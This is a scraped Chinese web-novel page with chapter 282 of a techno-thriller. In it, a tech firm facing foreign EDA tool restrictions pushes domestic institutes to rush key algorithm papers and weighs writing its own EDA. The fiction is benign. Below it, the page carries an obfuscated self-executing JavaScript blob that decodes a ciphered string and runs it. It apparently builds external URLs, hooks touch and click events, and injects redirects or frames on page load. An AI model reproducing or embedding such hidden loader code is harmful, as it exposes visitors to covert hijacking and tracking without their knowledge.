首页
第282章 国内研究所递交关
返回
关灯 护眼:关 字号:小

第282章 国内研究所递交关键论文

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    外部世界已经因为那道突发升级的限制令开始震荡,产业链丶资本圈丶国际媒体丶政策观察机构,几乎都在用不同的话术描述同一个事实——北洲阵营终于不再满足于卡制程丶卡设备丶卡供应,而是把手直接伸向了高端晶片设计工具链的咽喉。
    但在未来科技内部,真正的变化并不是情绪上的震动,而是所有人都被迫更快地把一个原本还可以在战略层面酝酿的问题,压成了现实选择:
    如果别人真要把设计未来终端和未来晶片的工具拿走,未来科技到底还能不能继续往前走?
    陈醒坐在会议室最前端,没有讲话。
    长桌两侧已经不再只是终端丶晶片丶系统和制造几条主线的负责人。算法丶自动化丶数学建模丶工业软体丶车端协同丶法务合规丶国际事务,甚至连长期做底层EDA算法研究丶平时几乎很少直接进未来科技核心战情会的外部顾问组,也被临时拉了进来。
    这不是一个普通的应急会议。
    更像是一场把未来科技未来几年工业命运,提前拉到今晚审判的闭门会。
    投影幕上没有挂飞星,也没有挂天衡5工程机的曲线,而是一张异常冷静的图:
    未来科技高端设计工具依赖关系图
    从架构设计,到逻辑综合,到形式验证,到功耗分析,到时序收敛,到版图布设,到物理验证,到系统级联调,再到终端丶车端与统一算力架构的跨平台协同——一层层,一环环,密得像一张越看越让人头皮发紧的神经网络。
    章宸站在屏幕前,手里的雷射笔停在中间几处最粗的红线上。
    「这是目前最危险的部分。」他说,「不一定是今天立刻断,但只要限制持续收紧,它们迟早会成为我们往下走的硬门槛。」
    他点了第一处。
    「高复杂度大规模数字版图与时序收敛。」
    第二处。
    「多模块混合协同验证环境。」
    第三处。
    「高阶功耗分析与物理约束联动优化。」
    第四处。
    「新架构叠代下的自动化规则检查和异常路径发现。」
    说到这里,他停顿了一下,语气比平时更直接:
    「以前我们总觉得,真正难的是晶片架构,是工艺,是系统,是整机,是怎麽把这些东西一体化。现在看,不够。你要想长期定义这些东西,就还得能定义让它们被设计出来丶被验证出来丶被收敛出来的那套工具。」
    会议桌边极安静。
    没有人对这件事存在认知分歧。
    分歧在另一个地方——这件事到底有没有可能做,能做多深,要从哪一步做起。
    顾楠率先开口,语气很沉:「应急预案可以做,但如果现在就把『自写EDA』当成短期答案,风险太大。那不是写几个软体界面,不是把几个算法包装一下。EDA本质上是把几十年的工程经验丶数学方法丶工业约束丶版图规则和大量异常处理全沉到工具里。很多东西平时你看不见,但一到复杂晶片设计就全跳出来。」
    「没人说短期就能全替。」赵静接过话,「但如果现在不开始,未来就永远只能在别人工具定义好的边界里求生。」
    顾行也皱着眉:「问题不只是晶片。飞星这次把整机生命体丶边界表达丶卫星二层接入和低功耗秩序全做出来,本质上已经把终端推到一个更复杂的系统层级了。以后我们不止要设计一颗晶片,还要设计一套能跨手机丶车端丶边缘节点甚至更广终端一起演进的统一算力体系。没有自己的工具理解,这条路越往后越危险。」
    秦峥看向章宸:「车端更麻烦。终端能靠战时机制压进更短周期,车规不行。它吃验证丶吃长窗丶吃反覆确认,工具链一旦被掐住,很多工程效率不是下降,是会直接掉到不可接受。」
    苏黛则说得更现实:「供应链那边已经开始紧了。表面上都还在正常接触,但几家外部软体服务商的态度明显变得更谨慎,开始频繁提『再确认授权边界』『请以最新监管解释为准』这种话。只靠等,肯定会越来越被动。」
    周明把法务团队刚拆出来的文件扔到屏幕副页,补了一句:
    「更关键的是,这次限制不是死板的条目,而是留了大量解释空间。也就是说,哪怕你现在还没被明确点名,只要他们觉得你某个方向『有潜在高端自主替代风险』,未来就能随时补刀。」
    这句话一落,会议室里的压迫感又深了一层。
    这已经不只是企业经营风险。
    而是一场明确针对「未来科技有可能成长成什麽」的战略压制。
    陈醒直到这时,才终于开口:「所以,两个问题。」
    所有人的目光都集中到他身上。
    「第一,短期怎麽活。」
    「第二,长期怎麽不再靠别人让我们活。」
    他说得很慢,没有一点激昂,却比任何情绪化动员都更沉。
    「今晚先不讨论口号。先把这两个问题拆开。」
    林薇微微点头,直接接上这个结构:「短期先保飞星丶天衡5A和后续晶片演进窗口。长期,不再默认外部EDA体系是永久基础设施。」
    她转向会议右侧一排外部顾问和理论支持人员:「现在,谁手里有能接上的基础,不管多薄,全部摊出来。」
    会议室里静了两秒。
    随后,坐在最末端的一名中年研究员推了推眼镜,先开了口。
    他来自华夏科学院体系下的一家微电子工具研究所,长期不在媒体与产业视野中心,更多时候做的是那些「看起来很基础丶离产业很远丶很难拿来讲故事」的底层研究。过去几年,未来科技虽然和他们一直有过技术交流,但从没有哪一次像今晚这样,把他们直接拉进集团最核心的生死级战局。
    「如果只是问『有没有现成可用替代』,答案很难看。」他很坦率,「没有。至少没有能直接替代完整高端流程的东西。」
    会议室里没有人失望,因为这本来就是大概率答案。
    可那位研究员接下来的话,却让空气出现了一点微妙变化。
    「但如果问『有没有一些关键方向上的理论和算法底子,能不能成为应急项目的起点』,答案是有。」
    这一次,几乎所有人都抬起了头。
    研究员没有卖关子,直接从自己的电脑里调出一份尚未公开的材料摘要,投到了屏幕副页上。
    标题不长,却让章宸眼神一下收紧。
    那是一篇围绕高复杂约束条件下的增量式时序—功耗联合收敛算法的论文摘要。
    研究员说道:「这不是完整EDA产品,也不是成熟工程化模块。它更像是一个关键突破口——针对高复杂设计里最容易反覆拉扯丶导致工程周期暴涨的那部分问题,提供一种比传统全局反覆叠代更适合局部增量优化的数学框架。」
    顾楠瞬间站直了些:「你们做到哪一步了?」
    「论文级。」研究员答得很诚实,「有实验样例,有中等规模电路验证,有算法复杂度和稳定性证明,还做了部分近工业环境的仿真。但没产业化,也没完整工具接入。」
    「为什麽一直没推出来?」赵静问。
    那位研究员苦笑了一下:「因为没人会在正常时候,把资源砸到一个短期看不到商业回报丶工程化又极难的方向上。学术界可以发论文,产业界只会问能不能明天就提效二十个点。」
    会议桌边几个人都沉默了一下。
    这句话太真实了。
    工业软体,尤其EDA这样的底层工具链,几乎天然处在一种尴尬位置——没有它不行,可它又不像终端产品丶晶片性能丶市场份额那样能立刻被看见。平时没人愿意在这种东西上大规模投重兵,等真被别人卡住脖子时,才会发现这块骨头原来一直悬在那儿。
    那名研究员继续往下翻。
    第二份材料,是大规模版图异常热点自动识别与规则驱动修正建议模型。
    第三份,是多约束混合信号局部冲突快速裁剪方法。
    第四份,则更让赵静和章宸同时抬头——
    面向复杂设计空间搜索的启发式学习辅助框架。
    赵静眼神微变:「这个方向,是想把机器学习引进EDA约束搜索?」
    「是。」研究员点头,「很早就有人提过,但真正做深很难。因为电路设计空间不是普通优化问题,它充满硬规则丶经验规则丶物理边界丶时序窗口丶工艺限制和大量异常情况。单纯套机器学习模型没有意义,必须和工程规则体系深度耦合。」
    赵静盯着那页摘要看了几秒,没说话。
    她忽然意识到,自己最近推动小芯一步步从制造现场丶整机冲突分析丶卫星链路用户认知辅助深入更底层工程空间,并不是偶然。复杂系统的本质很多时候相通——你面对的是一大堆局部目标彼此争抢资源丶争抢窗口丶争抢活路的问题。只不过在飞星上,那种争抢表现为显示丶主控丶供电丶热丶边界和连接能力;而在EDA里,它变成时序丶功耗丶面积丶规则和版图的高维冲突。
    这不意味着小芯明天就能替代EDA。
    但至少说明,未来科技不是一点路都没有。
    会议室里,章宸已经直接发问:「这些论文都投了吗?」
    研究员迟疑了一下:「有的准备投,有的还在内部循环,有一篇刚准备递送到国内核心期刊和专项项目评审组。还有一篇,本来打算再压一压,等数据更完整……」
    「别压了。」陈醒忽然打断他。
    那位研究员愣住。
    陈醒看着他,语气依旧很平:「从今天起,所有这类方向,不再按『学术节奏』来判断值不值得发。能形成公开学理支撑丶能证明华夏在相关底层问题上不是空白丶能为后续项目争取研究资源和正当性空间的,全部推进。」
    周明立刻明白了这一层意义。
    「你是想先把理论旗子立起来。」
    「不是旗子。」陈醒说,「是根。」
    他抬头看向所有人。
    「别人限制的是现成工具,是产业能力,不会限制数学丶算法丶理论丶方法这些根本问题本身。我们现在如果一点学理基础都没有,后面不管是内部立项丶联合攻关,还是拉研究所丶高校丶产业团队一起做,都像是在喊口号。」
    「但如果我们能先证明,华夏内部已经有人在这些关键问题上做到了可验证丶可发表丶可延伸的突破,那事情就不一样了。」
    李明哲听到这里,眼神也变得更深。
    他很清楚这不只是技术问题。
    在当前国际叙事场里,很多事情有没有政治空间,往往取决于你是不是已经有了足够扎实的「正当性外壳」。如果华夏在EDA相关关键方向上连公开可说的论文和研究线索都没有,那麽外部随时可以把未来科技后续一切动作打成「危险替代」「封闭复制」「不具备独立基础的强行模仿」。可一旦国内研究所开始有系统性论文递交丶有底层方法公开显影,那整个叙事就会被改写——至少未来科技不是从零喊口号,而是站在一条已经存在丶只是长期未被重视的研究链条之上。
    林薇显然也看到了这一层:「学术线先起,产业线才能接。」
    那位研究员沉默片刻,终于点头:「明白。我们研究所这边今晚就回去改优先级。」
    「不是你们一边。」陈醒说,「把你们能联系上的丶真正做过底层EDA算法丶物理验证丶版图优化丶自动布局布线丶规则检查丶数学建模的人,全拉进来。别管平时在不在一个系统里,也别管是不是『项目还不成熟』。现在不是比成熟度的时候,是比谁手里还有根火种的时候。」
    会议室里因为这句话,出现了一种极其微妙的变化。
    原本大家讨论的是「有没有可能做」「要不要做」「太难了怎麽办」。
    而这一刻,问题开始被真正翻转——不是从零起步,而是在华夏体系内部,原来已经零零散散埋了很多年丶一直没机会真正长成产业线的那些种子,是不是终于到了必须被一把抓起来丶强行并成一条大路的时候。
    秦峥皱眉问:「光有论文,不够吧。」
    「当然不够。」章宸接过来,「但它能解决两个问题。第一,证明方向不是虚空造梦。第二,让后面工具链应急项目起步时,不至于完全踩黑地。」
    顾楠也点了点头:「很多时候最难的不是工程做不到,而是不知道第一步该往哪儿踩。有论文级成果,哪怕只是局部突破,也意味着你至少知道有一部分地面是硬的。」
    赵静看向那位研究员:「这些论文里,哪些方向最适合和小芯结合?」
    研究员明显没想到未来科技会把AI这麽快地拉进讨论,思索了几秒后答道:「理论上,版图异常识别丶路径冲突裁剪丶复杂空间启发式搜索,这几个方向都有结合可能。但前提是,小芯不能只是生成答案,它必须理解工程规则丶物理约束和不可触碰的边界。」
    「它会学。」赵静说。
    声音不高,却很笃定。
    因为她已经越来越清楚,小芯真正的价值不是替工程师按按钮,而是进入那些高复杂丶强约束丶跨学科的问题空间,帮助系统更快发现「哪里在无效竞争,哪里在彼此踩命,哪里可以让出一条新的活路」。
    而EDA,本质上也是这样的战争。
    周明这时插了一句:「论文推进归推进,外部风险也得想清楚。只要国内研究所开始集中递交这类关键论文,北洲那边和火龙联盟的观察机构很快就会闻到味道。」
    「那就让他们闻。」陈醒说。
    周明看向他。
    陈醒继续道:「不是高调宣扬,不是对外放话。该发就发,该递就递。我们不主动造势,也不躲躲闪闪。别人想让华夏永远停在『只能用别人定义好的工具设计未来』这个位置上,我们至少要先把研究基础公开摆出来。」
    「摆得越扎实,后面别人再想说我们只是被逼急了的临时拼凑,就越站不住。」
    李明哲缓缓点头:「这不是宣战,是占理。」
    「对。」陈醒说,「先把理占住。」
    会议的气氛到这里,终于从最初那种被突发禁令压出的沉重,开始转向一种更清晰丶更可执行的推进逻辑。
    短期,保项目,保节奏,保飞星和统一算力架构继续往前。
    中期,拉研究所丶拉论文丶拉理论底座,把「华夏内部已有关键方向研究」的根先亮出来。
    长期,再问真正更硬的问题——我们能不能不只用别人的EDA,而是写出自己的EDA。
    可这个问题,到今晚还没有真正被说出口。
    因为所有人都知道,这句话一旦从陈醒口中落下来,未来科技就真的要进入另一种战争状态了。
    凌晨四点十五分,会议暂时转入更小范围的技术切片。
    未来科技内部相关团队与研究所代表分成几组,快速对接论文内容丶可转工程方向丶现有实验代码状态和可能的联合试验环境。赵静把小芯团队核心成员直接留在了会场一角,没有让他们先走。章宸也没回实验楼,而是和那名研究员一起,围着那篇增量式时序—功耗联合收敛算法的实验结构图看了很久。
    「这块如果真能站住,」顾楠低声道,「哪怕一开始只能接一小段流程,价值都大得离谱。」
    研究员点头:「难的是工程化。论文里的问题被我们人为压过维度丶压过规模,还没经历真正产业环境里的脏东西。」
    「没关系。」章宸说,「现在不是嫌它不够完整的时候,而是先确认它是不是值得被接进未来科技的应急体系。」
    另一边,林薇和周明正在把会议结论压成行动边界。
    「论文推进的口径要统一。」周明提醒,「一律按正常学术研究方向走,不准对外说成是『针对禁令的直接反击』。否则会立刻刺激对方把政治嗅觉拉高。」
    林薇点头:「内部代号切出来,研究所丶未来科技丶合作实验组各自只知道自己该知道的部分。」
    「还不够。」周明补充,「一旦论文集中递交,国内一定会有人想借题发挥,什麽『华夏自研EDA即将突破』『未来科技反制北洲限制』这种话会自己冒出来。舆情口要提前准备压。」
    李明哲从旁边接道:「压归压,但不能压成心虚。基调是:国内基础研究正常推进,产业工具链安全问题值得重视,任何国家都不应把基础工业软体武器化。既不高喊,也不退。」
    这话说完,几个人同时看向会议室最前方。
    陈醒仍坐在那里,没有离开。
    桌前摊着的,不再只是飞星排期丶工具依赖图和禁令拆解摘要,还多了几份来自研究所的论文目录丶实验曲线和尚未公开的评审材料。
    他看得很慢。
    可越是这样,越让熟悉他的人知道,他已经在往更远处推。
    赵静走过去,把小芯团队的一个初步判断放到桌上。
    「我们刚看了一轮。」她说,「这几篇论文里,至少有三条方向适合做成『AI辅助+规则约束』的试验支线。现在还不够成熟,但如果未来科技真要往更深处走,小芯能接一部分复杂空间裁剪和异常热点定位。」
    陈醒抬头看她:「有把握?」
    赵静没有说大话:「不是『能不能一口吃掉EDA』的把握。是『我们不只会用AI写文案丶做助手丶看制造曲线,也能让它进更硬的工业问题』的把握。」
    陈醒点了点头,没有多评价,只把那份判断压到论文目录旁边。
    过了一会儿,那位研究所的中年研究员拿着几份补充材料重新走回来,神情比最开始多了几分异样的认真。
    「还有一件事。」他说。
    「说。」陈醒看向他。
    「除了我们所里正在推进的那几篇,国内另外两家研究单位和一个联合实验室,也各有一篇相关方向的论文准备递交。」研究员停顿了一下,「平时大家做得比较散,彼此也未必知道对方到哪一步。但今晚消息一通,几边都意识到了,这些东西不能再各自压在抽屉里等时机了。」
    会议室里几个人神色同时一动。
    不是一家,不是一个点。
    而是国内几条原本分散丶沉默丶缺乏产业牵引的研究线,正在被这道突发禁令和未来科技的动作,强行拉向同一个方向。
    林薇轻声道:「这就不是单点了。」
    章宸也缓缓吐出一口气:「说明底子比我们想的厚。」
    那位研究员点头:「厚不厚还难说,至少不是空白。」
    「空白和不空白,在这种时候差太多了。」顾楠说。
    会议室里又静了几秒。
    这种静,不再是被限制令压住的那种沉重,而更像一种新的现实正在显形。
    原来,华夏在EDA相关关键问题上并不是毫无积累;原来,那些多年散落在研究所丶实验室丶专项项目丶论文草稿里的工作,并没有真的死掉;原来,未来科技现在要做的,也许不是凭空喊出一句「我们也能写」,而是先看清楚——这片土地上,其实已经有人在黑暗里替这句话,垫了很多年石头。
    凌晨将近五点,会议终于进入尾声。
    具体执行项一条条被压实:
    国内相关研究所和实验室,立即推动关键论文递交与评审流程加速;
    未来科技内部,建立工具链独立生存预案专班;
    晶片丶算法丶系统丶小芯团队,与可转工程的论文方向建立闭环对接;
    法务与国际事务,准备论文递交后的舆情与规则话术边界;
    所有线索统一保密,不主动放风,不被动沉默。
    等最后一项确认完,会议室里大多数人都已明显带上熬夜后的疲色。
    可没有人起身离开。
    因为他们都在等陈醒最后一句话。
    陈醒沉默了很久,才缓缓合上手里的那几份材料。
    「论文先递。」
    「把国内这几条线都拉起来。」
    他说到这里,目光扫过长桌两侧的人,最后落在那几位来自研究所和未来科技内部技术核心的脸上。
    「今天这一步,不是为了证明我们已经有EDA。」
    「是为了证明,我们不是连写EDA的资格都没有。」
    会议室里一片安静。
    那句话没有任何夸张情绪,却比任何鼓动都更重。
    因为所有人都清楚,这已经不是单纯鼓励研究所发论文,而是在为一个更大丶更难丶也更危险的决定铺路。
    周明把终端按灭,低声提醒了一句:「天亮后,外面会很快注意到动静。」
    「那就让他们先看到论文。」陈醒说。
    「然后呢?」赵静看着他。
    陈醒没有立刻回答。
    窗外天色已经泛白,中央研究院的玻璃幕墙上浮起一层很淡的晨光。楼下园区还安静着,可谁都知道,从今天开始,未来科技内部很多线都会被重新改写。
    过了几秒,陈醒站起身,声音依旧不高,却像在会议室里缓缓落下一根新的主梁:
    「然后,我们不只要证明有人在研究这些问题。」
    「我们还要回答另一件事——」
    他停了一下,眼神沉得近乎冷静。
    「如果别人不让我们继续用他们的EDA,未来科技自己,能不能写出一套属于自己的EDA骨架。」
    这句话终于被正式说了出来。
    会议室里,所有人都没有动。
    因为他们都知道,接下来未来科技要迈进去的,已经不是普通意义上的技术应急,而是一场足以重新定义集团未来几年工业命运的新工程。
    而在同一时刻,远在国内另一座城市的微电子研究所里,几份被压了很久的论文手稿,正在被紧急送往提交系统。
    看似安静的学术动作背后,一条新的暗流,已经开始汇聚。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();